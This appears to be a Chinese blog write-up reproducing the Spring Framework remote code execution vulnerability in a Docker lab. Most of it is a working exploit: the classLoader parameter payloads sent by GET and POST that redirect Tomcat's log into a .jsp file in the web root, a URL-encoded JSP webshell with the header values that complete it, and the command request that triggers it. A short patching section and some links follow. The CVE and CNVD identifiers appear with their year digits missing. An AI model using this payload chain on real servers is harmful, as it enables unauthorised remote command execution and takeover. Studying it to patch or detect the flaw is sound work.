1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > spring framework远程代码执行漏洞复现(CNVD--23942 CVE--22965)

spring framework远程代码执行漏洞复现(CNVD--23942 CVE--22965)

时间:2023-12-14 17:24:47

相关推荐

spring framework远程代码执行漏洞复现(CNVD--23942 CVE--22965)

3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD--23942)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。CNVD 对该漏洞的综合评级为“高危”。

漏洞利用条件:

jdk9+Spring 及其衍生框架使用tomcat部署spring项目使用了POJO参数绑定Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本

漏洞复现:

使用docker搭建SpringCore RCE测试环境

docker pull vulfocus/spring-core-rce--03-29 //下载靶场

docker run -dit -p 8090:8080 vulfocus/spring-core-rce--03-29 //运行靶场

访问8090端口,搭建成功

完整测试payload:

//脚本内容,输入测试内容testclass.module.classLoader.resources.context.parent.pipeline.first.pattern=test//修改tomcat日志文件后缀,javaweb搭建的环境,这里改为.jspclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp//写入文件到网站根目录,根目录是webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT//写入文件名称为testclass.module.classLoader.resources.context.parent.pipeline.first.prefix=test//文件日期格式(实际构造为空值即可)class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

GET利用:(按顺序逐条发送payload)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=test

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=test

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

POST利用:(一次性发送整个测试payload)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=test&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问http://192.168.96.155:8090/test.jsp,文件存在,这里是因为我之前写入过其他

查看docker下的test.jsp文件:

docker ps //查看docker进程

docker exec -it fad4f4c30324 /bin/bash //进入靶场容器

cd/app/tomcat/webapps/ROOT //进入网站根目录

可以看到,test是刚刚写入的内容

写入木马: GET或者POST方法都可以

请求内容:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http头部添加:

suffix:%>//

c1:Runtime

c2:<%

如下:

执行命令:

pwd=t&cmd=id

漏洞原理分析:

Spring Framework CVE--22965漏洞详细分析 - 简书

漏洞修复:

方案1:升级到Spring Framework 5.3.18 和 5.2.20

方案2:

Spring 官方建议通过 @ControllerAdvice 来设置 WebDataBinder 的 disallowedFields。

这个解决方案通常会有效,但也并不是 100% 可以阻止漏洞。

为了更加保险一些,Spring.io 还建议应用程序可以扩展 RequestMappingHandlerAdapter,同时在所有其他初始化之后,在最后更新WebDataBinder。

参考链接:

【Vulfocus漏洞复现】spring-core-rce--03-29_青果@的博客-CSDN博客

Spring 官方证实:框架爆大漏洞,JDK 9 及以上版本均受影响

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。